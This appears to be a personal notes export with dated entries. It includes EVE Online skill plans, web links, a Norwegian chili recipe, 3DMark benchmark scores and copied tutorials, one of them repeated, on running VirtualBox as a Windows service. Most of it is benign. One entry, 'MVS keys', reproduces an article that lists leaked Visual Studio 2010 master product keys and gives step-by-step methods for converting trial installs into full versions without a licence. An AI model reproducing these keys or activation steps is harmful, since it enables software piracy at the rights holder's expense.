103. Scout Drone Operation V (5 days, 10 hours, 19 minutes, 51 seconds)
104. Drone Interfacing I (46 minutes, 22 seconds; 500 000 ISK)
105. Drone Interfacing II (3 hours, 36 minutes, 1 second)
106. Drone Interfacing III (20 hours, 21 minutes, 49 seconds)
107. Drone Interfacing IV (4 days, 19 hours, 11 minutes, 52 seconds)
108. Drone Sharpshooting I (9 minutes, 16 seconds; 150 000 ISK)
109. Drone Sharpshooting II (43 minutes, 13 seconds)
110. Drone Sharpshooting III (4 hours, 4 minutes, 20 seconds)
111. Drone Sharpshooting IV (23 hours, 2 minutes, 22 seconds)
112. Sentry Drone Interfacing I (46 minutes, 22 seconds; 450 000 ISK)
113. Sentry Drone Interfacing II (3 hours, 36 minutes, 1 second)
114. Sentry Drone Interfacing III (20 hours, 21 minutes, 49 seconds)
115. Sentry Drone Interfacing IV (4 days, 19 hours, 11 minutes, 52 seconds)
116. Sentry Drone Interfacing V (27 days, 3 hours, 39 minutes, 15 seconds)


116 skills; Total time: 427 days, 9 hours, 40 minutes, 26 seconds; Completion: 13.10.2011 21:03:58; Cost: 6 267 548 000
N.B. Skill costs are based on CCP's database and are indicative only
Date: 11:24:33 12/08/2010

Name: BS plan
Info: kill plan for Bengt Joran

1. Amarr Cruiser IV (3 days, 16 hours, 45 minutes, 11 seconds)
2. Amarr Battleship I (57 minutes, 10 seconds)
3. Gunnery IV (17 hours, 45 minutes, 2 seconds)
4. Gunnery V (4 days, 4 hours, 24 minutes, 43 seconds)
5. Medium Energy Turret II (1 hour, 39 minutes, 51 seconds)
6. Medium Energy Turret III (9 hours, 24 minutes, 48 seconds)
7. Large Energy Turret I (35 minutes, 44 seconds)
8. Energy Emission Systems II (1 hour, 6 minutes, 34 seconds)
9. Energy Emission Systems III (6 hours, 16 minutes, 31 seconds)
10. Energy Grid Upgrades III (6 hours, 16 minutes, 31 seconds)
11. Energy Grid Upgrades IV (1 day, 11 hours, 30 minutes, 4 seconds)
12. Hull Upgrades IV (1 day, 11 hours, 30 minutes, 4 seconds)
13. Weapon Upgrades II (1 hour, 6 minutes, 34 seconds)
14. Weapon Upgrades III (6 hours, 16 minutes, 31 seconds)
15. Weapon Upgrades IV (1 day, 11 hours, 30 minutes, 4 seconds)
16. Repair Systems IV (17 hours, 45 minutes, 2 seconds)
17. Mechanic IV (17 hours, 45 minutes, 2 seconds)
18. Mechanic V (4 days, 4 hours, 24 minutes, 43 seconds)
19. Hull Upgrades V (16 days, 17 hours, 38 minutes, 54 seconds)
20. Drones V (8 days, 8 hours, 49 minutes, 27 seconds)
21. Heavy Drone Operation I (1 hour, 11 minutes, 28 seconds)
22. Scout Drone Operation IV (1 day, 11 hours, 30 minutes, 4 seconds)
23. Scout Drone Operation V (8 days, 8 hours, 49 minutes, 27 seconds)
24. Gallente Drone Specialization I (1 hour, 11 minutes, 28 seconds)


24 skills; Total time: 55 days, 4 hours, 11 minutes, 8 seconds; Completion: 06.10.2010 19:53:41; Cost: 15 380 000
N.B. Skill costs are based on CCP's database and are indicative only
Date: 15:46:21 12/08/2010

Name: spellcheck firefox
Info: Enable Spell Check for All Fields

1. In the address bar of Firefox, type about:config
2. Type layout.spellcheckDefault in the filter box
3. Change the value from 1 to 2

You are done, do a quick test by drafting a new e-mail, blog post etc and misspelling a word in the title field.
Date: 15:21:28 20/08/2010

Name: open source cloud hosting
Info: http://www.sparkleshare.org/
Date: 22:03:47 26/09/2010

Name: c# page sync
Info: http://qualitypoint.blogspot.com/2009/03/c-webbrowser-control-synchronization.html
Date: 16:45:06 05/10/2010

Name: google search
Info: http://www.google.com/search?client=ubuntu&channel=fs&q=make+webbrowser+wait+for+documentcomplete&ie=utf-8&oe=utf-8#q=make+webbrowser+wait+for+documentcomplete&hl=en&tbo=1&prmdo=1&prmd=ivu&source=lnt&sa=X&ei=zKCrTKG4DM2YOpKszaEH&ved=0CAYQpwU&fp=84f34ab5383c7ee9
Date: 00:04:32 06/10/2010

Name: androidlib
Info: http://www.androlib.com/appstats.aspx
Date: 12:38:47 15/10/2010

InfoName: Fallout mods
Info: http://www.ripten.com/2010/10/24/five-essential-pc-mods-for-fallout-new-vegas/
Date: 11:47:30 27/10/2010

Name: chili con carne
Info: Finhakk to gule løk. Stek den blankt i en stor gryte. Ha i kjøttdeig og stek på middels sterk varme til den får litt farge. Ha i tomatene, tomatpurre og soltørkede tomater.

Finhakk hvitløksfeddene og ha i kjelen. Skjær gulrøtter i biter og ha i kjelen sammen med bønner.

Knus kumin og korianderfrø i morteren og ha i kjelen.

Del chilien på langs og skrap ut frøene. Hakk den fint og ha i gryta sammen med chilipulver. Fjern det hvite fra paprikaen og lag så store, flate biter du klarer.

Legg dem i en ildfast form og ha dem under grillen til de begynner å bli svarte. Ta dem ut, hakk dem fint og ha dem i gryta. La gryta koke i ca 30-45 minutter. Server med rømme og tortillachips.

# 2 stk løk
# 0,5 kg kjøttdeig
# 1 ss tomatpuré
# 2 stk tomatbokser
# 5 fedd hvitløk, skrelt
# 3 stk soltørkede tomater, hakket
# 3 stk gulrøtter, skrelte
# 2 bk bønner, f. eks kidneybønner
# 1 ts kuminfrø
# 1 ts korianderfrø
# 1 stk chili, eller flere
# 1 ts chilipulver
# 2 stk paprika
# 4 ss rømme
# tortillachip
Date: 19:52:02 30/10/2010

InfoName: ms robo
Info: http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=c185a802-5bbe-4f28-b448-aefe63a7eff7
Date: 23:54:08 31/10/2010

InfoName: linux mag, virtual cli
Info: http://www.linux-mag.com/id/7673
Date: 01:00:42 05/11/2010

Name: HOWTO - virtualbox as a service on Windows (srvstart.exe)
Info: HOWTO - virtualbox as a service on Windows (srvstart.exe)

Postby rasker » 15. Mar 2009, 03:25
This howto describes a method of running virtualbox as a service on Windows using the srvstart.exe service wrapper

srvstart.exe is a tool written by Nick Rozanski for running any application or script using the Windows service manager. It wraps a normal application/script providing it with an interface to Windows service manager. This allows Windows to start Virtualbox at boot and stop it at shutdown or at your request. Srvstart.exe is a better solution than Microsoft's srvany.exe and NT Wrapper because it allows you to configure how a service should be stopped properly. When you first start using srvstart you might get some vebose feedback from the program which can be confusing but you should push through this as srvstart is a good program to use for our purpose (safely start/stop Virtualbox machines). This howto will run through the steps needed to configure a single virtual machine. To configure more you just need to repeat the howto with different service names and different virtual machine names.

Pre-requisites

1. A version of VirtualBox that supports the vboxheadless interface and vrdp (vrdp is a requirement of vboxheadless).
2. A copy of the srvstart.exe binary which can be gotten from here. The main website for srvstart is Nick Rozanski's website.
3. Download and Install Windows Service Commander from here
4. For troubleshooting you might also want to get a copy of Process Explorer from Sysinternals from the technet site - > here


The Steps

1. The first step is to build your virtual machine as you would any virtualbox machine and make sure it works as you wish.
2. Next, close the VirtualBox GUI and copy the virtualbox.xml file from the c:\Documents and Settings\\.VirtualBox\ directory to the c:\Documents and Settings\LocalService\.VirtualBox\ directory. Create the .VirtualBox directory if it doesn't already exist. This allows VirtualBox to get the right config when it is executed from the LocalService account. (Each time you want to change the hardware configuration of a virtual machine running as a servie, stop the machine running, make the coinfiguration change using the virtualbox frontend, test the virtual machine, and once all is how you want it to be, repeat this step).
3. Create a directory in c:\Program Files\ called srvstart. Copy (extract) all the files from within the zip archive you downloaded earlier to the srvstart directory (particularly, logger.dll, srvstart.dll, srvstart.exe, svc.exe).
4. Next We need to create a configuration file that configures srvstart and describes our service to srvstart. Using your notepad or your favourite text editor create a file called .srvstart.ini in c:\program files\srvstart\. e.g. c:\program files\srvstart\VBOX_LINUX.srvstart.ini.
1. paste this into the file (assuming your vmachine is called VBOX_LINUX, see below for a complete explanation) :

Code: Select all Expand viewCollapse view
env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="d:\vbox\"
env=VBOX_MACHINES="d:\vbox\machines"
env=VBOX_VDI="d:\vbox\VDI"
env=VBOX_MACHINE1=vbox_linsrv

[VBOX_LINUX]
startup=%VBOXHEADLESS% -startvm VBOX_LINUX
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VBOX_LINUX savestate
debug=0
debug_out=>d:\vbox\VDI\VBOX_LINUX.log



Save this file.
2. Start Windows Service Commander and select Tools -> Install New Service from the menu. this will start a wizard to help you set the service up. Click Next
* In the Enter Path to the service executable: box, click Browse and browse to and select the c:\Program Files\srvstart\srvstart.exe file.
* Append the following to the command line : svc VBOX_LINUX -c "c:\Program Files\srvstart\srvstart.ini"
* check that it looks something like :

Code: Select all Expand viewCollapse view
c:\Program Files\srvstart\srvstart.exe svc VBOX_LINUX -c "c:\Program Files\srvstart\srvstart.ini"

* Leave the Service will run in it's own process radio button selected and click Next.
* Give your service a name e.g. VBOX_LINUX, a Display Name (which can be the same as the Service Name) and a brief description of the virtual machine. Click Next.
* Leave the LocalSystem account radio button selected and click the Allow service to interact with desktop checkbox. Click Next.
* Set the startup options as you wish (defaults are good for now). Click Next twice (skip the Dependencies page) and click Finish.
If you look down the list in Windows Service Commander you will see your newly created service!

Notes

As usual there are a few caveats and issues. However the srvstart method is better than using srvany or NT wrapper and the like and perhaps nearly as good as vboxvmservice .

1. A useful feature is that once you have setup a Windows service to run srvstart you can change the configuration just by editing the ini file and restarting the service. No need to edit the Windows Service anymore.
2. The parameter after the svc parameter in the service command line should be exactly the same as the keyword in the ini file which is enclosed in square brackets. Within the ini file, you can change the virtualbox machine name to your own virtual machine (the parameters after the startvm and controlvm switches).
3. Don't assign a startup_dir keyword if the startup directory has white space in it. It seems to never work even with the environment variable work around. This is not a big issue as it is not usually needed anyway.
4. Use Windows Service Commander to create/delete/edit windows services. The included SVC tool and the srvstart install command's are a bit flaky (parsing parameters).
5. The key reason to use srvstart is because we can stop the virtual machine in the correct way (the above configuration saves the state) by using the vboxmanage controlvm command. You could also try an acpi shutdown. Saving state and closing is probably good enough though.
6. srvstart does not do any smart checking of the parameters passed to it. In particular it fails to Do The Right Thing (tm) when passed parameters with white space in them. This is why some parameters are passed, quoted, in environment variables, more because this works (as in worksaround) than because it is the right way.
7. If possible define the vrdp port number in the machine settings not the vboxheadless command line if you are using the savestate method of shutting down. You can get a conflict which prevents the virtual machine from starting up.
8. Stopping the service usually successfully terminates the vboxheadless processes. Unfortunately the VBoxSvc process does not always do the right thing and go away. This is particularly true if you start the virtualbox Gui while the service is started. This can leave locked files behind which prevent you from either starting the virtualbox gui or accessing the machine from the gui if the gui can be started and other issues.
9. This method opens a console window (note not a command window). Virtualbox fails with some weird error if it can't send output to stdout (I'm guessing) so it is essential that the console window is allowed. Closing this window will kill the vboxheadless process. There are various utilities that you can use to try and start the service without the console window (by running the vboxheadless from a batchfile for example and running the batchfile as a service but this is messy and unreliable).
10. Use Process Explorer to see what is really going on.
11. Some error codes you might see from srvstart in the Application Event log:
* Srvstart will usually throw error messages from the win32 api which are usually related to some problem with createprocess(). here is a cheatsheet
* Error 267 and Error 2: Win32 directory/filenot found errors. If you have double checked the parameter then this is usually a problem with srvstart not parsing input parameters properly (stopping at the first white space). Assign the parameter (with quoting) to an environment variable with the env keyword and use the env. variable (using the usual %var% format) in place of the parameter.
* -xxxxxxxxx: (a large minus number like exit code -2135228415) virtualbox probably could not create/find a stdout/stderr. Tick the Interact with desktop checkbox in the windows service configuration.
Date: 19:08:06 07/11/2010

Name: 3dmark Date Nov 07, 2010 18:34 UTC
Info: 3DMark Score
9782 3DMarks
SM 2.0 Score
4287
SM 3.0 Score
4307
CPU Score
2596
Result name
Untitled

ASUS Rampage III Extreme
Date Nov 07, 2010 18:34 UTC

OS Windows 7 Microsoft Windows Vista
CPU Intel Core 2 Duo Processor E6850
CPU Speed 3005 MHz
GPU NVIDIA GeForce 8800 GTS 320MB/640MB
Memory 4096 MB
Date: 19:37:05 07/11/2010

Name: 3dmark Date Nov 07, 2010 20:28 UTC
Info: 3DMark Score
7235 3DMarks
SM 2.0 Score
3288
SM 3.0 Score
3611
CPU Score
1513
Result name
Untitled

ASUS Rampage III Extreme
Date Nov 07, 2010 20:28 UTC

OS Windows 7
CPU AMD Athlon 64 X2 Processor 4000+
CPU Speed 2109 MHz
GPU ATI Radeon HD 2900 Pro
Memory 2048 MB

Date: 22:07:16 07/11/2010

Name: http://www.smoothwall.org/
Info: SmoothWall Open Source
The SmoothWall Open Source Project was set up in 2000 to develop and maintain SmoothWall Express - a Free firewall that includes its own security-hardened GNU/Linux operating system and an easy-to-use web interface
Date: 12:03:06 08/11/2010

Name: shell in a box
Info: http://www.linux-mag.com/id/7864
Date: 19:52:13 09/11/2010

Name: Expect autoexpect
Info: http://www.linux-mag.com/id/7828
Date: 20:37:05 09/11/2010

Name: STB
Info: http://www.mythtv.org/wiki/Sasktel_IPTV

http://www.gossamer-threads.com/lists/mythtv/users/366873
Date: 22:56:45 10/11/2010

Name: ssh monitor
Info: http://ubuntuforums.org/archive/index.php/t-1052328.html
Date: 00:27:51 12/11/2010

Name: linux commands
Info: http://www.commandlinefu.com/commands/browse/sort-by-votes
Date: 00:12:43 15/11/2010

Name: reflectoraddins
Info: http://reflectoraddins.codeplex.com/
Date: 13:47:36 17/11/2010

Name: IOC container
Info: http://weblogs.asp.net/sfeldman/archive/2008/02/14/understanding-ioc-container.aspx
Date: 00:14:29 22/11/2010

Name: tid - arbeidstid
Info: 8--------------- start
9
10 arbeidstid
11
12 60 * 8 = 480 minutt ----|
13 |
14 arbeidstid |
15 |
16-------------- end |
17-------------- start |--->> 24 timer = 1440 minutt
18 |
19 kveld |
20 |
21 |
22 |
23 60 * 16 = 960 minutt ----|
24
01
2
3
4
5 kveld
6
7--------------- end

12.00 inn 09.00 ut neste dag = 5timer = 5 * 60;
total = 12 til 09 neste dag = 20 + 1 = 21timer = 1260minutt
1260 - 960 = 300minutt = 5 timer



12.00 inn 09.00 ut neste dag +1 = 8+4+1timer = 13 * 60;
total = 12 til 09 i over i morgen = 20+24+1 =45timer = 2700minutt
2700 - 1920 = 780minutt = 13 timer
Date: 21:15:56 26/11/2010

InfoName: https://www.infosecisland.com/
Info: https://www.infosecisland.com/
Date: 00:11:03 30/11/2010

Name: firmware
Info: http://www.dlink.no/cs/Satellite?c=Product_C&childpagename=DLinkEurope-NO%2FDLTechProduct&cid=1197319393031&p=1197318956615&packedargs=QuickLinksParentID%3D1197318956615%26locale%3D1195806934998&pagename=DLinkEurope-NO%2FDLWrapper
Date: 11:08:18 30/11/2010

Name: MVS keys
Info: Master Product Key to Upgrade Activate Visual Studio 2010 Ultimate, Premium and Professional

The Visual Studio 2010 has just been released, but have apparently been cracked or hacked, thanks to the generic master product key that been used by Microsoft to integrate into pre-activated Visual Studio 2010 Ultimate, Premium and Professional setup installers in ISO image formats, which is been released to MSDN subscribers, and some editions to WebsiteSpark, BizSpark and DreamSpark participants.

The master static activation product key in question is YCFHQ-9DWCY-DKV88-T2TMH-G7BHP, which apparently can be used to register, unlock, upgrade, activate and convert all three editions of Visual Studio Professional 2010, Visual Studio Premium 2010 and Visual Studio Ultimate 2010 from trial to full version product.

Best of all, Microsoft is providing free official downloads of Visual Studio 2010 trial version, which can be used for free for up to 90 days after registration. The only difference between the trial version and MSDN version (which is identical to ISO been released on *Spark programs) is that the pre-integrated product serial key been removed. As such, the trial version does accept the serial number above to upgrade to full version product. The workaround allows anybody can get free Visual Studio 2010 (which is not the lightweight Visual Studio 2010 Express) from official source without having to rely on warez or torrent sites to download Visual Studio 2010 MSDN ISO images.

There are two ways to use the leaked master product key for Visual Studio 2010.

Method 1: Change the serial number after Visual Studio 2010 installation

Go to Control Panel -> Programs and Features, locate and highlight Microsoft Visual Studio 2010 Ultimate/Premium/Professional installation, and click on Uninstall/Change button.

Upgrade Visual Studio 2010 Product Key for Activation

A Visual Studio setup maintenance screen should be shown. After clicking Next button, an option to enter a valid serial number to upgrade product license is available. Enter the upgrade key accordingly, and click on Activate button. No re-installation required.

Alternative:

Upgrade to Unlock and Convert Visual Studio 2010 to Full Version

In any Visual Studio 2010 program, click on Help -> Register Product. Enter the product key and click the Activate button. An error message will appear, stating that the product key cannot be used to extend the product validity. Anyhow, the product key will be accepted, and program will say that a valid product key has been entered after restarting Visual Studio 2010.

Fully Activated Visual Studio 2010

Method 2: Integrate the product key into setup.sdb in Visual Studio 2010 setup installer

Unpack the downloaded Visual Studio 2010 Trial ISO with WinRAR, and then modify the setup.sdb under the setup folder with any text editor. Locate the [Product Key] heading, and change the line under it to YCFHQ9DWCYDKV88T2TMHG7BHP. Run the setup.exe to start the installation, which automatically enters the serial key into installed app.

Visual Studio 2010 setup.sdb Product Key

Note that other Visual Studio 2010 products uses different master activation product keys, where Visual Studio Team Foundation Server 2010 is P2K4R-VPKVK-TKH4B-TRT6V-DW2GX, while Visual Studio Test Professional 2010 uses DYCF9-QQPCD-Q6GKP-WXYW3-GV2DH, and Visual Studio Team Explorer Everywhere 2010 uses 7W3RJ-4WX3R-BV8JM-FC8P7-3W7QX.

The leaked product keys potentially costs Microsoft a huge sum, as Visual Studio Ultimate 2010 costs more than $10,000 for a piece of license. Anyway, Visual Studio 2010, been a development and programming tools, may be of less interest to general public. Anyway, Microsoft has been given away free license to use Visual Studio to selected targeted group through various Spark programs to encourage development in Windows environment.

Disclaimer: This article is for information and educational purpose only.

Date: 20:56:00 07/12/2010

Name: Multiple VirtualBox as service
Info: After days of googling and a lot of trial and errors, I finally succeed running virtualbox as service. I tried VBoxVmService by mattz but have no luck. Then I tried another method with srvstart and Windows Service Commander explained here. It works for one Virtual Machine, but not for multiple Virtual Machines. While I need to run three Virtual Machines simultaneously. All without any user logged on! OK, enough talking, let’s start the tutorial…

*
Preparation
1. I tried this only on Windows XP SP3 and Windows 2003 Server SP2 (I think it may works on Windows 2000 Server as well)
update: this method works on Windows Server 2008 (check Brian’s comment below) Thanks Brian!
update Sept 29th 2009 : it works on Windows Seven 64 bit (check Mr Incredible’s comment). Thanks Mr Incredible!
update Sept 29th 2009: it works on Windows Vista (check Victor Pajor’s comment below). Thanks Victor Pajor!
2. SUN VirtualBox for Windows version 2.2.2 or more (download here)
update Oct 13th 2009: it works on Windows XP SP3 with VirtualBox 3.0.8 (check Kikeze’s comment below). Thanks Kikeze!
3. srvstart (download here)
4. Windows Service Commander (download here)
*
Installation

1.
1. Install SUN VirtualBox, create and configure your guest OS’s
2. Make sure you click the Remote Display setting, and check the "Enable VRDP server" option. Then assign a port number like 3001, 3002, 3003, etc.
enablevrdp thumb How to run VirtualBox as service in Windows
3. Setup all your guest OS’s as needed (install applications, setup preferences, tweaks, etc.)
4. Shutdown all your guest OS’s
5. Go to C:\Documents and Settings\YOURUSERNAME\.VirtualBox\ and open the file VirtualBox.xml with notepad.
editvirtualboxxmlfile thumb How to run VirtualBox as service in Windows
6. Press CTRL+F (find) and type "src" without quotes and press ENTER
findsrc thumb How to run VirtualBox as service in Windows
7.
Edit the words src="Machines\YOURVMNAMEYOURVMNAME.xml" into src="C:Documents and Settings\YOURUSERNAME\.VirtualBox\Machines\YOURVMNAME\YOURVMNAME.xml. Close the file, and click Yes when asked "Do you want to save the changes?". If you have more than one Virtual Machines, then you must repeat this step and replace the paths to your Virtual Machines’s .xml file accordingly.
originalsrc thumb How to run VirtualBox as service in Windows
original src

changesrcpath thumb How to run VirtualBox as service in Windows
modified src
8.
Copy the file named VirtualBox.xml from C:Documents and Settings\YOURUSERNAME\.VirtualBox\ to C:Documents and Settings\LocalService\.VirtualBox\
copytolocalservice thumb How to run VirtualBox as service in Windows
9. Install Windows Service Commander
10. Create a new directory C:\vm
11. Extract the srvstart_run.v110.zip file to this C:vm directory
extractsrvstart thumb How to run VirtualBox as service in Windows
12. Open notepad, copy and paste the code below

env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\"
env=VBOX_MACHINES="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\machines\"
env=VBOX_VDI="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\HardDisks\"
env=USERPROFILE=%SystemDrive%\Documents and Settings\LocalService\

debug=1
debug_out=>C:\vm\vm.log

[YOURVMNAME]
startup=%VBOXHEADLESS% -startvm YOURVMNAME
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm YOURVMNAME savestate

13. Replace YOURUSERNAME above with your own windows user account, and YOURVMNAME with your own Virtual Machine’s name

srvstartiniexample thumb How to run VirtualBox as service in Windows
14. Close Notepad and save it as srvstart.ini in C:\VM

saveinvmdir thumb How to run VirtualBox as service in Windows
15. Run Windows Service Commander
16. Click Tools > Install new service

installnewservice thumb How to run VirtualBox as service in Windows
17. The Service install wizard will show up, click Next
18. Enter

c:\VM\srvstart.exe svc YOURVMNAME -c "c:\vm\srvstart.ini"

19. Again, replace YOURVMNAME above with your own Virtual Machine’s name

pathtoserviceexe thumb How to run VirtualBox as service in Windows
20. Press Next
21. Enter any name you want in the Name and Display Name field (ie. My VM Service), then add some descriptions if needed (optional)

servicename thumb How to run VirtualBox as service in Windows
22. Press Next
23. Check the "Allow service to interact with desktop" option

allowtointeractwithdesktop thumb How to run VirtualBox as service in Windows
24. Press Next
25. Leave the startup as Manual and error as Ignore for now

manualignor thumb How to run VirtualBox as service in Windows
26. Press Next
27. Press Next again as there’s nothing to change here
28. Click Finish
29. Now you’ll see the new service name in the service list

displayinservicelist thumb How to run VirtualBox as service in Windows
30. Click on it and press the triangle button at the toolbar to start the service

clickstart thumb How to run VirtualBox as service in Windows
31. If the red round icon turns into green, then your VM is running as service successfully!

servicerunning thumb How to run VirtualBox as service in Windows
32. If everything’s work as expected, you can change the startup type of your service as automatic, so every time your host Windows OS runs, your VirtualBox service will also runs

automatic thumb How to run VirtualBox as service in Windows

* Notes

1. If you want to modify an existing Virtual Machine’s configuration (eg. add memory, etc), or add a new Virtual Machine, you must set the VirtualBox service’s startup type to manual first, shutdown all your guest OS’s, and restart the host OS. We do this so there is no process is locking up the VirtualBox.xml file. After restart, the .VirtualBox.xml file can be modified and recopied into C:\Documents and Settings\LocalService\.VirtualBox (see step no. 8 above)
2. To control your Virtual Machines, you can use Remote Desktop Connection and put your host computer’s IP, followed by a colon and the port number u assigned in the Remote Display setting (see step no. 2 above) eg. 192.168.2.60:3001

rdc thumb How to run VirtualBox as service in Windows
3. See the debug=1 line in the srvstart.ini file above? You can safely set it to debug=0 if no errors occurred when practicing this tutorial.
4. This tutorial shows how to run a single Virtual Machine as service, next time I will write another tutorial to run multiple Virtual Machines like mine. Check out the tutorial to run multiple Virtual Machine!

5. Source with some modifications from VirtualBox forum (rasker’s post)
---------------------------------------------------------------------------------
If you already know how to run your VirtualBox Virtual Machine as service, now you can run multiple VMs as service, all at once… Pretty cool isn’t it? tu 41 How to run multiple VirtualBox as service in Windows simultaneously

Here is how we are going to do that…

1. First of all, if you haven’t read the first tutorial, please do so.
2. Shutdown all your VMs if they’re running.
3. Open up the Windows Service Commander, and set the created virtualbox service’s startup type to manual. This is to make sure it’s not running the next time we reboot the host system.
4. Reboot the host system. We do this so the VirtualBox.xml file is not opened by any other process, which will prevent us from modifying it.
5. After reboot, open C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\VirtualBox.xml with notepad and make sure all src path for ALL your VMs are already in the form of absolute path. (eg. C:\Documents and Settings\Personal\.VirtualBox\Machines\VM1\VM1.xml instead of Machines\VM1\VM1.xml )
6. Save the file and copy it to C:\Documents and Settings\LocalService\.VirtualBox and overwrite the old one.
7. Open the file C:\vm\srvstart.ini with notepad. Modify the file so it will looks like this.

env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\"
env=VBOX_MACHINES="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\machines\"
env=VBOX_VDI="C:\Documents and Settings\YOURUSERNAMEHERE\.VirtualBox\HardDisks\"
env=USERPROFILE=C:\Documents and Settings\LocalService\

debug=1
debug_out=>C:\vm\vm.log

[VM1]
startup=%VBOXHEADLESS% -startvm VM1
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VM1 savestate

[VM2]
startup=%VBOXHEADLESS% -startvm VM2
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VM2 savestate

8. All you need to do, is adding the VM names you’d like to run as service at the bottom of srvstart.ini file. In the example above, I’m adding VM2 section at the bottom. So you get the idea now. If I want to simultaneously run 3 VMs called VM1, VM2, and VM3 as service, then I must add the VM2 and VM3 section at the bottom, and so on.
9. Save the file.
10. Now open the Windows Service Commander and add a new service like we did last time. It’s just this time we change the service name to differs from the first one. This is what we’re going to put in the service executable path

c:\VM\srvstart.exe svc VM2 -c "c:\vm\srvstart.ini"

11. Proceed like before until finish.
12. Test your new VM service by starting it.
13. If everything’s in the right direction, you can set your VM services(yes, all your VM services) startup type to Automatic.


---------------------------------------------------------------------------
HOWTO - virtualbox as a service on Windows (srvstart.exe)

Postby rasker » 15. Mar 2009, 03:25
This howto describes a method of running virtualbox as a service on Windows using the srvstart.exe service wrapper

srvstart.exe is a tool written by Nick Rozanski for running any application or script using the Windows service manager. It wraps a normal application/script providing it with an interface to Windows service manager. This allows Windows to start Virtualbox at boot and stop it at shutdown or at your request. Srvstart.exe is a better solution than Microsoft's srvany.exe and NT Wrapper because it allows you to configure how a service should be stopped properly. When you first start using srvstart you might get some vebose feedback from the program which can be confusing but you should push through this as srvstart is a good program to use for our purpose (safely start/stop Virtualbox machines). This howto will run through the steps needed to configure a single virtual machine. To configure more you just need to repeat the howto with different service names and different virtual machine names.

Pre-requisites

1. A version of VirtualBox that supports the vboxheadless interface and vrdp (vrdp is a requirement of vboxheadless).
2. A copy of the srvstart.exe binary which can be gotten from here. The main website for srvstart is Nick Rozanski's website.
3. Download and Install Windows Service Commander from here
4. For troubleshooting you might also want to get a copy of Process Explorer from Sysinternals from the technet site - > here


The Steps

1. The first step is to build your virtual machine as you would any virtualbox machine and make sure it works as you wish.
2. Next, close the VirtualBox GUI and copy the virtualbox.xml file from the c:\Documents and Settings\\.VirtualBox\ directory to the c:\Documents and Settings\LocalService\.VirtualBox\ directory. Create the .VirtualBox directory if it doesn't already exist. This allows VirtualBox to get the right config when it is executed from the LocalService account. (Each time you want to change the hardware configuration of a virtual machine running as a servie, stop the machine running, make the coinfiguration change using the virtualbox frontend, test the virtual machine, and once all is how you want it to be, repeat this step).
3. Create a directory in c:\Program Files\ called srvstart. Copy (extract) all the files from within the zip archive you downloaded earlier to the srvstart directory (particularly, logger.dll, srvstart.dll, srvstart.exe, svc.exe).
4. Next We need to create a configuration file that configures srvstart and describes our service to srvstart. Using your notepad or your favourite text editor create a file called .srvstart.ini in c:\program files\srvstart\. e.g. c:\program files\srvstart\VBOX_LINUX.srvstart.ini.
1. paste this into the file (assuming your vmachine is called VBOX_LINUX, see below for a complete explanation) :

Code: Select all Expand viewCollapse view
env=VBOXGUI="C:\Program Files\Sun\xVM VirtualBox\virtualbox.exe"
env=VBOXHEADLESS="C:\Program Files\Sun\xVM VirtualBox\vboxheadless.exe"
env=VBOXWEBSRV="C:\Program Files\Sun\xVM VirtualBox\vboxwebsrv.exe"
env=VBOXMANAGE="C:\Program Files\Sun\xVM VirtualBox\VBoxManage.exe"
env=VBOX_PROG="C:\Program Files\Sun\xVM VirtualBox\"
env=VBOX_BASE="d:\vbox\"
env=VBOX_MACHINES="d:\vbox\machines"
env=VBOX_VDI="d:\vbox\VDI"
env=VBOX_MACHINE1=vbox_linsrv

[VBOX_LINUX]
startup=%VBOXHEADLESS% -startvm VBOX_LINUX
shutdown_method=command
shutdown=%VBOXMANAGE% controlvm VBOX_LINUX savestate
debug=0
debug_out=>d:\vbox\VDI\VBOX_LINUX.log



Save this file.
2. Start Windows Service Commander and select Tools -> Install New Service from the menu. this will start a wizard to help you set the service up. Click Next
* In the Enter Path to the service executable: box, click Browse and browse to and select the c:\Program Files\srvstart\srvstart.exe file.
* Append the following to the command line : svc VBOX_LINUX -c "c:\Program Files\srvstart\srvstart.ini"
* check that it looks something like :

Code: Select all Expand viewCollapse view
c:\Program Files\srvstart\srvstart.exe svc VBOX_LINUX -c "c:\Program Files\srvstart\srvstart.ini"

* Leave the Service will run in it's own process radio button selected and click Next.
* Give your service a name e.g. VBOX_LINUX, a Display Name (which can be the same as the Service Name) and a brief description of the virtual machine. Click Next.
* Leave the LocalSystem account radio button selected and click the Allow service to interact with desktop checkbox. Click Next.
* Set the startup options as you wish (defaults are good for now). Click Next twice (skip the Dependencies page) and click Finish.
If you look down the list in Windows Service Commander you will see your newly created service!

Notes

